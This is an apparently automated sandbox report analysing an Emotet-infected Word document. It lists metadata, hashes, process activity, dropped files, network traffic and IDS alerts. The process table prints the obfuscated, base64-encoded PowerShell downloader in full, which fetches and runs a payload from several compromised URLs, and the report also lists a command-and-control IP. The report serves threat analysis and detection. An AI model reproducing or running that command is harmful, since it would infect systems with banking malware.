File name: | Doc-20200930-CU09219.doc |
Full analysis: | https://app.any.run/tasks/a52996e1-182f-4df5-9ed6-0a97e5d9e70c |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | September 30, 2020, 06:42:18 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Voluptatem., Author: Paul Leclerc, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Sep 29 23:29:00 2020, Last Saved Time/Date: Tue Sep 29 23:29:00 2020, Number of Pages: 1, Number of Words: 3749, Number of Characters: 21371, Security: 8 |
MD5: | 8006E013C045138E08007810955BEC0D |
SHA1: | 57FF888ED5FB60A53B3148A541F04CE9F6B9C05C |
SHA256: | 22F844A158AB002C4375F2234F5A539F0B1B5199F33B442D4869765EA22CA27A |
SSDEEP: | 1536:hMRD3bNqfNpu39IId5a6XP3Mg8af2qq9ieW0jnzp:CR1qf69xak3Mgx2VVjnzp |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
LocaleIndicator: | 1033 |
CodePage: | Unicode UTF-16, little endian |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 15 |
CharCountWithSpaces: | 25070 |
Paragraphs: | 50 |
Lines: | 178 |
Company: | - |
Security: | Locked for annotations |
Characters: | 21371 |
Words: | 3749 |
Pages: | 1 |
ModifyDate: | 2020:09:29 22:29:00 |
CreateDate: | 2020:09:29 22:29:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | Paul Leclerc |
Subject: | - |
Title: | Voluptatem. |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2600 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Doc-20200930-CU09219.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3112 | POwersheLL -ENCOD JABJAGIAYQB0AGQAbwBtAD0AKAAnAE0AYwAnACsAKAAnAHoAJwArACcAbgBpACcAKQArACcAcgA1ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBTAGUAUgBwAFIATwBGAGkATABFAFwAUwBzAEgATgBhAE0ASQBcAFUANwBfAEIAVQB5AGEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBDAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAYABSAEkAVABZAHAAYABSAG8AYABUAGAATwBjAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEAJwArACcALAAgACcAKQArACcAdAAnACsAJwBsAHMAJwApADsAJABJAGEAegB1ADcANgBiACAAPQAgACgAKAAnAFQAJwArACcAMwA2AHYAJwApACsAKAAnAG0AJwArACcAcgA5ACcAKQArACcAbAAnACkAOwAkAFAAbAA0ADQAZwBzAHkAPQAoACgAJwBFACcAKwAnAGkANgAnACkAKwAoACcANQAnACsAJwB0AG0AJwApACsAJwBtACcAKQA7ACQAUQA3AHMAYwB6ADQAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBjAEoAJwArACgAJwB1ACcAKwAnAFMAcwBoAG4AYQBtACcAKQArACcAaQBjACcAKwAoACcASgB1AFUANwAnACsAJwBfAGIAJwArACcAdQB5AGEAJwApACsAKAAnAGMASgAnACsAJwB1ACcAKQApACAALQBDAFIARQBwAGwAYQBDAEUAIAAgACgAWwBjAGgAQQByAF0AOQA5ACsAWwBjAGgAQQByAF0ANwA0ACsAWwBjAGgAQQByAF0AMQAxADcAKQAsAFsAYwBoAEEAcgBdADkAMgApACsAJABJAGEAegB1ADcANgBiACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQASgA3ADkAeAA2AHkAbAA9ACgAKAAnAE0AawA0ACcAKwAnADUAcQAnACsAJwBoACcAKQArACcANgAnACkAOwAkAEIAZwBhAHkAbwB2AHIAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBFAGIAQwBsAGkARQBOAHQAOwAkAFEAMQBlAGEAbgA5AGIAPQAoACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAOgAnACsAJwAvAC8AJwArACgAJwB3AHcAdwAnACsAJwAuAHAAJwArACcAcgBvAGQAJwArACcAdQBjAHQAcwBvACcAKwAnAGYAaQBuACcAKQArACgAJwBkAGkAYQAnACsAJwByAGUAJwApACsAJwB2ACcAKwAnAGkAJwArACcAZQAnACsAKAAnAHcAcwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAGMAJwApACsAJwBzAHMAJwArACgAJwAvACcAKwAnADkAVQB0ACcAKQArACcALwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcABzADoAJwApACsAKAAnAC8ALwBvACcAKwAnAG4AbABpACcAKQArACgAJwBuACcAKwAnAGUAMgAnACkAKwAoACcANABoAC4AYgAnACsAJwBpACcAKQArACgAJwB6ACcAKwAnAC8AdwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtACcAKQArACgAJwBpACcAKwAnAG4ALwBuAC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACcAcwAnACsAJwB0ACcAKwAoACcAYQByAC0AJwArACcAcwBwACcAKwAnAGUAJwApACsAKAAnAGUAZAAuACcAKwAnAHYAaQBwACcAKQArACgAJwAvAHcAcAAtAGEAZAAnACsAJwBtACcAKQArACcAaQBuACcAKwAoACcALwBqACcAKwAnAHAAJwApACsAJwAvACoAJwArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAHMAOgAvAC8AawAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAGgAdABoAGkAZQAnACsAJwB0AGsAZQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvADAAJwArACcARgBnAC8AJwApACsAJwAqAGgAJwArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAJwAvAC8AJwArACcAcwAnACsAKAAnAHkAbgAnACsAJwB0ACcAKQArACgAJwBlAGcAJwArACcAbwAnACkAKwAnAHcAJwArACgAJwBzAC4AYwBvACcAKwAnAG0ALwBjAGgAJwApACsAJwBpAHIAJwArACgAJwBhAGcAJwArACcALwAnACkAKwAnAEsAJwArACcAWAAvACcAKwAnACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKwAnAHMAOgAvAC8AJwApACsAKAAnAHYAJwArACcAaQBzACcAKwAnAGgAYQBsAHAAJwApACsAKAAnAGEAdABvAGwAYQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAJwArACcAcAAtAGEAZABtAGkAJwArACcAbgAvADIALwAnACkAKwAoACcAKgBoAHQAdABwAHMAJwArACcAOgAnACsAJwAvAC8AJwApACsAJwBzAGgAJwArACgAJwBtACcAKwAnAGMAdAAuAG8AJwArACcAcgBnACcAKQArACcALwAnACsAJwB3ACcAKwAoACcAcAAtAGEAJwArACcAZAAnACkAKwAoACcAbQAnACsAJwBpAG4ALwAnACkAKwAoACcAWAAnACsAJwBtAC8AJwApACkALgAiAFMAcABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwA3AHMAZAB0AGEAbAA9ACgAKAAnAEEAJwArACcAbwBjAGkAXwAnACsAJwB6ACcAKQArACcAaQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABKADUAaAB2AGQAdAA2ACAAaQBuACAAJABRADEAZQBhAG4AOQBiACkAewB0AHIAeQB7ACQAQgBnAGEAeQBvAHYAcgAuACIARABvAHcAYABOAGwAbwBgAEEAZABmAGkAYABsAGUAIgAoACQASgA1AGgAdgBkAHQANgAsACAAJABRADcAcwBjAHoANABpACkAOwAkAE4AcAAwAHYAXwB5ADQAPQAoACgAJwBaADIAJwArACcAbQAnACkAKwAnADgAMQAnACsAJwA2AHQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAFEANwBzAGMAegA0AGkAKQAuACIATABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMgAyADMAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQAUQA3AHMAYwB6ADQAaQApADsAJABUAGUAeAA2AGoAeABuAD0AKAAnAEoAdwAnACsAKAAnAHIAdwBkACcAKwAnAGMANAAnACkAKQA7AGIAcgBlAGEAawA7ACQASgBrAGIAagBqAGQAYgA9ACgAKAAnAE8AJwArACcAZAAzACcAKQArACcAegBvACcAKwAnADYAaAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMANQBqAHYAdgB1AGsAPQAoACcAUAAnACsAKAAnAF8AdwAnACsAJwBjACcAKQArACgAJwBtAG0AJwArACcAOAAnACkAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1840 | "C:\Users\admin\Sshnami\U7_buya\T36vmr9l.exe" | C:\Users\admin\Sshnami\U7_buya\T36vmr9l.exe | POwersheLL.exe | |
User: admin Company: Flex Inc. Integrity Level: MEDIUM Description: Replacement for the Masked Edit Control v 2.0. Exit code: 0 Version: 2.8.0.3 | ||||
296 | "C:\Users\admin\AppData\Local\NlsData000d\KBDTAT.exe" | C:\Users\admin\AppData\Local\NlsData000d\KBDTAT.exe | T36vmr9l.exe | |
User: admin Company: Flex Inc. Integrity Level: MEDIUM Description: Replacement for the Masked Edit Control v 2.0. Version: 2.8.0.3 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2600 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRB03B.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3112 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YG48A7IR2MHAXBB7Y40E.temp | — | |
MD5:— | SHA256:— | |||
1840 | T36vmr9l.exe | C:\Users\admin\AppData\Local\Temp\~DF537DA94551D143C0.TMP | — | |
MD5:— | SHA256:— | |||
2600 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:805D324C2ED5881EA3ADBC69E480259D | SHA256:B6AB19261EA555DB7A9B70FA96282BE2B967C2F50AB3FAC701C4DFA0B655A248 | |||
3112 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:907C5FD303717561FE1B4EA4297DAC9A | SHA256:219788D162769A2E9475AF5337CA17B4D213A15ADE3E7F46F3FC02ADD48CD09D | |||
3112 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19bb38.TMP | binary | |
MD5:907C5FD303717561FE1B4EA4297DAC9A | SHA256:219788D162769A2E9475AF5337CA17B4D213A15ADE3E7F46F3FC02ADD48CD09D | |||
1840 | T36vmr9l.exe | C:\Users\admin\AppData\Local\NlsData000d\KBDTAT.exe | executable | |
MD5:452AF1644E88E2C473BD35E3249F1A89 | SHA256:446CE72B7F60DB4941073F797417473ED6F5624817F99C516E0AB096AC940263 | |||
3112 | POwersheLL.exe | C:\Users\admin\Sshnami\U7_buya\T36vmr9l.exe | executable | |
MD5:452AF1644E88E2C473BD35E3249F1A89 | SHA256:446CE72B7F60DB4941073F797417473ED6F5624817F99C516E0AB096AC940263 | |||
2600 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:7F07DB1EBA10253371F45ABB0ABAFA1F | SHA256:EA79678C9C1F742990C63C76F20505910F0E1B6412D7AFFFB9F02DD99E99DAAC | |||
2600 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$c-20200930-CU09219.doc | pgc | |
MD5:14081329E5D6D8D1E1A921BEE9B30ADE | SHA256:E2E679194D49F4E2DD92DB2EEA5D9FE0FB842777E199D63B91AFE90113ED91A8 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
296 | KBDTAT.exe | POST | 200 | 202.22.141.45:80 | http://202.22.141.45/PII2RIHx6xYbIYzBia1/kwYb6B2fWiLb/B3Lr/rL4UL21lvpqB/ | NC | binary | 132 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
296 | KBDTAT.exe | 202.22.141.45:80 | — | OFFRATEL | NC | malicious |
3112 | POwersheLL.exe | 34.69.189.17:443 | online24h.biz | — | US | unknown |
3112 | POwersheLL.exe | 68.66.228.11:80 | www.productsofindiareviews.com | A2 Hosting, Inc. | US | suspicious |
Domain | IP | Reputation |
---|---|---|
www.productsofindiareviews.com |
| suspicious |
online24h.biz |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
— | — | Potentially Bad Traffic | ET INFO Observed DNS Query to .biz TLD |
296 | KBDTAT.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M10 |